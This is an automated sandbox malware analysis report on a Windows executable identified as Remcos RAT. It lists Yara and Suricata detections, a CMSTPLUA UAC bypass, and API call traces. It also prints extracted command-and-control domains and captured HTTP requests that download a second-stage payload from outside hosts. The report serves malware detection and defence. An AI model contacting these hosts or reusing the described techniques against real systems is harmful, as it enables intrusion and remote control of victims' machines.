Windows Analysis Report
jlPBMMQbXC.exe

AI detected suspicious sample

Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 8136, type: MEMORYSTR

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.9% probability

Machine Learning detection for dropped file

Source: C:\Users\Public\Libraries\Selebzih.PIF

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: jlPBMMQbXC.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291638C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	8_2_291638C8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	15_2_004338C8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_078045E5 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	15_2_078045E5

Source: SndVol.exe

Binary or memory string: -----BEGIN PUBLIC KEY-----

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 8136, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29137538 _wcslen,CoGetObject,		8_2_29137538
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00407538 _wcslen,CoGetObject,		15_2_00407538

Source: jlPBMMQbXC.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 13.107.136.10:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.139.102:443 -> 192.168.2.9:49746 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: jlPBMMQbXC.exe, jlPBMMQbXC.exe, 00000000.00000002.1577348813.00000000023E6000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9F7000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9E0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1578952321.0000000002C7E000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1386950607.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000006.00000003.1564129488.0000000005420000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.6.dr
Source:	Binary string: easinvoker.pdbH source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: jlPBMMQbXC.exe, 00000000.00000002.1577348813.00000000023E6000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1555406818.000000000E41E000.00000004.00000020.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9F7000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9E0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1578952321.0000000002C7E000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1386950607.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1555406818.000000000E44F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: esentutl.exe, 00000006.00000003.1564129488.0000000005420000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.6.dr

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C55908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02C55908
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29138847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	8_2_29138847
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29137877 FindFirstFileW,FindNextFileW,	8_2_29137877
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2917E8F9 FindFirstFileExA,	8_2_2917E8F9
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	8_2_2913BB6B
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29149B86 FindFirstFileW,FindNextFileW,FindNextFileW,	8_2_29149B86
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	8_2_2913BD72
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2914C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	8_2_2914C322
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	8_2_2913C388
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_2913928E
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291396A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_291396A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	15_2_0040928E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	15_2_0041C322
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	15_2_0040C388
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	15_2_004096A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	15_2_00408847
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00407877 FindFirstFileW,FindNextFileW,	15_2_00407877
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0044E8F9 FindFirstFileExA,	15_2_0044E8F9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	15_2_0040BB6B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	15_2_00419B86
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	15_2_0040BD72
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0781F616 FindFirstFileExA,	15_2_0781F616
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077D9564 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	15_2_077D9564
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077D8594 FindFirstFileW,FindNextFileW,	15_2_077D8594
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077DA3BD __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	15_2_077DA3BD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077ED03F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	15_2_077ED03F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077DD0A5 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	15_2_077DD0A5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077D9FAB __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	15_2_077D9FAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077DCA8F FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	15_2_077DCA8F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077EA8A3 FindFirstFileW,	15_2_077EA8A3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077DC888 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	15_2_077DC888

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_29137CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

8_2_29137CD2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49763 -> 103.186.117.159:56796
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49813 -> 103.186.117.159:13939
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49823 -> 103.186.117.159:56796
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49824 -> 103.186.117.159:13939
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49825 -> 103.186.117.159:56796
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49826 -> 103.186.117.159:13939
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49827 -> 103.186.117.159:56796
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49830 -> 103.186.117.159:13939
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49829 -> 103.186.117.159:56796
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49828 -> 103.186.117.159:13939
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49831 -> 103.186.117.159:56796

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://alfanar01-my.sharepoint.com/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlKcC8bPaqfGiqmGYrLTf6w?e=8qbxqz&download=1
Source: Malware configuration extractor	URLs: https://lightstone.ae/image/233_Selebzihtih
Source: Malware configuration extractor	URLs: pentester0.accesscam.org
Source: Malware configuration extractor	URLs: archived.zapto.org
Source: Malware configuration extractor	URLs: honeypotresearchteam.duckdns.org

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 103.186.117.159 ports 5,6,7,56796,13939,9

Uses dynamic DNS services

Source: unknown

DNS query: name: honeypotresearchteam.duckdns.org

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C6E4B8 InternetCheckConnectionA,

0_2_02C6E4B8

Source: global traffic

TCP traffic: 192.168.2.9:49763 -> 103.186.117.159:56796

Source: Joe Sandbox View

IP Address: 13.107.136.10 13.107.136.10

Source: Joe Sandbox View	ASN Name: CENTURYLINK-US-LEGACY-QWESTUS CENTURYLINK-US-LEGACY-QWESTUS
Source: Joe Sandbox View	ASN Name: AARNET-AS-APAustralianAcademicandResearchNetworkAARNe AARNET-AS-APAustralianAcademicandResearchNetworkAARNe

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49723 -> 13.107.136.10:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49746 -> 162.19.139.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49729 -> 13.107.136.10:443

Source: global traffic	HTTP traffic detected: GET /:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlKcC8bPaqfGiqmGYrLTf6w?e=8qbxqz&download=1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: alfanar01-my.sharepoint.com
Source: global traffic	HTTP traffic detected: GET /personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: alfanar01-my.sharepoint.comCookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2Q3NzQ2ZGY2NmVlODk4Nzc5MTI0YzAxMTEwNWZkZTJlZTgyZTI3NTUzNGMwNmMyMjBiOWNlZjQyNGMxNzNjMzAsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZDc3NDZkZjY2ZWU4OTg3NzkxMjRjMDExMTA1ZmRlMmVlODJlMjc1NTM0YzA2YzIyMGI5Y2VmNDI0YzE3M2MzMCwxMzM3NzA3OTAzNDAwMDAwMDAsMCwxMzM3NzE2NTEzNDk3ODEzMTksMC4wLjAuMCwyNTgsOTE3NDIwNjMtZmNjYy00Y2JhLWIzNGItNjliZTU0ZTQ4NGU4LCwsZDE5NzY3YTEtNzBmOS1hMDAwLTcwZGMtNmI4OGUwYmM1NThkLGQxOTc2N2ExLTcwZjktYTAwMC03MGRjLTZiODhlMGJjNTU4ZCxMMEhrZGdUY3pVcTFOaGcwM2VZM2ZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3NDksdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGlQNFZYR2cwTkFVRFJwaHJxS0ZTK1ZDM3RFT0dkTnVqeWhZaGRkNm4yMVJqVUxIYjVQUE9QQkY3SkgyczF3cWZtU0RrTWQzanV2My82RzlEWTRrdE9vbzQ0VnAvb085WE1iL2ExSnBJWVBieHFab3Z4bm9tSk5YVWYwK0Vwd3VHU2pzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJc0pMZEk0YlI2MXhFZjhvK242TmJZM0s0VmNXOEJ0Sk5MZzhpZEJIQVdFOVlFZVhKY3pZMk1OQkpHcElMRzcvczFRODVla09MUVVacjA5TmlnOUY4YlIxRi9FN1lQV1NZcmxEeHBjK0hwTVlnYkZ6cEREQjQyQnZBTnRhRUt0MEhTSS9CRElRMXg2Y2VHZ0EyQ29qTkhCOHhoVjJ2TzFOOVltaWdoSDVuZFZuUT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /image/233_Selebzihtih HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: lightstone.ae

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_29156D42 recv,

8_2_29156D42

Source: global traffic	HTTP traffic detected: GET /:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlKcC8bPaqfGiqmGYrLTf6w?e=8qbxqz&download=1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: alfanar01-my.sharepoint.com
Source: global traffic	HTTP traffic detected: GET /personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: alfanar01-my.sharepoint.comCookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2Q3NzQ2ZGY2NmVlODk4Nzc5MTI0YzAxMTEwNWZkZTJlZTgyZTI3NTUzNGMwNmMyMjBiOWNlZjQyNGMxNzNjMzAsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZDc3NDZkZjY2ZWU4OTg3NzkxMjRjMDExMTA1ZmRlMmVlODJlMjc1NTM0YzA2YzIyMGI5Y2VmNDI0YzE3M2MzMCwxMzM3NzA3OTAzNDAwMDAwMDAsMCwxMzM3NzE2NTEzNDk3ODEzMTksMC4wLjAuMCwyNTgsOTE3NDIwNjMtZmNjYy00Y2JhLWIzNGItNjliZTU0ZTQ4NGU4LCwsZDE5NzY3YTEtNzBmOS1hMDAwLTcwZGMtNmI4OGUwYmM1NThkLGQxOTc2N2ExLTcwZjktYTAwMC03MGRjLTZiODhlMGJjNTU4ZCxMMEhrZGdUY3pVcTFOaGcwM2VZM2ZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3NDksdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGlQNFZYR2cwTkFVRFJwaHJxS0ZTK1ZDM3RFT0dkTnVqeWhZaGRkNm4yMVJqVUxIYjVQUE9QQkY3SkgyczF3cWZtU0RrTWQzanV2My82RzlEWTRrdE9vbzQ0VnAvb085WE1iL2ExSnBJWVBieHFab3Z4bm9tSk5YVWYwK0Vwd3VHU2pzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJc0pMZEk0YlI2MXhFZjhvK242TmJZM0s0VmNXOEJ0Sk5MZzhpZEJIQVdFOVlFZVhKY3pZMk1OQkpHcElMRzcvczFRODVla09MUVVacjA5TmlnOUY4YlIxRi9FN1lQV1NZcmxEeHBjK0hwTVlnYkZ6cEREQjQyQnZBTnRhRUt0MEhTSS9CRElRMXg2Y2VHZ0EyQ29qTkhCOHhoVjJ2TzFOOVltaWdoSDVuZFZuUT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /image/233_Selebzihtih HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: lightstone.ae

Source: global traffic	DNS traffic detected: DNS query: alfanar01-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: lightstone.ae
Source: global traffic	DNS traffic detected: DNS query: pentester0.accesscam.org
Source: global traffic	DNS traffic detected: DNS query: archived.zapto.org
Source: global traffic	DNS traffic detected: DNS query: honeypotresearchteam.duckdns.org

Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
